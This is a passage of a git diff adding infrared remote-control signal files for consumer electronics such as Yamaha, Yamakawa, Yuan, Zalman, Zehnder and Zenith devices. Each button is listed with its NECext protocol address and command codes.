D1 00 00 00 +command: C3 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C6 00 00 00 +# +name: PATTERN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: C9 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CC 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CD 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CE 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: D1 00 00 00 +command: CF 00 00 00 +# +name: RETURN_<-- +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D0 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D3 00 00 00 +# +name: ESCAPE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D5 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D7 00 00 00 +# +name: INPUT:_S-VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D8 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: D1 00 00 00 +command: D9 00 00 00 +# +name: INPUT:_A_(COMPNENT) +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DA 00 00 00 +# +name: INPUT:_B_(DB-15) +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DB 00 00 00 +# +name: INPUT:_DVI +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DC 00 00 00 +# +name: INPUT:_D4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DD 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: D1 00 00 00 +command: DF 00 00 00 +# +name: MEMORY_1 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E1 00 00 00 +# +name: MEMORY_2 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E2 00 00 00 +# +name: MEMORY_3 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E3 00 00 00 +# +name: MEMORY_4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E4 00 00 00 +# +name: MEMORY_5 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E5 00 00 00 +# +name: MEMORY_6 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: E6 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: D1 00 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir new file mode 100644 index 000000000..9cebc26ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 11 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 14 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 15 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 17 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1A 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1B 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir new file mode 100644 index 000000000..6a71120a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: VOCAL-ASSIST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: MENU/RETURN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: REPEAT_1/ALL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: TITLE/DIGEST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: T/C_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: ANGLE/CLEAR +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir new file mode 100644 index 000000000..8de28aae2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_1/all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: f.r. +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: programm +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: p-scan +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: vga/av +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: f.f. +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir new file mode 100644 index 000000000..18000a7ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_DISPLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: X_KEY_SOURCE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: X_KEY_SNAPSHOT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: X_KEY_SKIP_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 40 00 00 00 +# +name: X_KEY_SKIP_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 42 00 00 00 +# +name: X_KEY_TIME_SHIFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 43 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 45 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 46 00 00 00 +# +name: X_KEY_REC_PLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 47 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: X_KEY_MTS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4A 00 00 00 +# +name: KEY_REC +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir b/assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir new file mode 100644 index 000000000..e2c2e51a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 01 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 05 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 0A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 0B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 0F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 12 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 13 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 14 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 16 00 00 00 +# +name: task +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 17 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 19 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 1A 00 00 00 +# +name: run +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 1E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 1F 00 00 00 +# +name: myvideo +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 40 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 41 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 42 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 43 00 00 00 +# +name: myphoto +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 45 00 00 00 +# +name: mytv +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 46 00 00 00 +# +name: warp +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 47 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4A 00 00 00 +# +name: detail +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 4F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 51 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 52 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 54 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 55 00 00 00 +# +name: mymusic +type: parsed +protocol: NECext +address: 73 9A 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir new file mode 100644 index 000000000..dc1587597 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: INDEX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: SYS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: AUD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir new file mode 100644 index 000000000..0473aeb25 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 00 00 00 00 +# +name: CHANNEL_-_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 01 00 00 00 +# +name: PAGE_-_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 01 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 01 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 02 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 04 00 00 00 +# +name: (_--_) +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 05 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 06 00 00 00 +# +name: CHANNEL_-_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 09 00 00 00 +# +name: PAGE_-_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 09 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0A 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0C 00 00 00 +# +name: INPUT_-_ANTENNA +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0E 00 00 00 +# +name: CUROSR_-_RIGHT +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 19 00 00 00 +# +name: CHANNEL_-_PREVIOUS +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1B 00 00 00 +# +name: FLASHBACK +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1B 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1D 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir new file mode 100644 index 000000000..d37d03111 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file 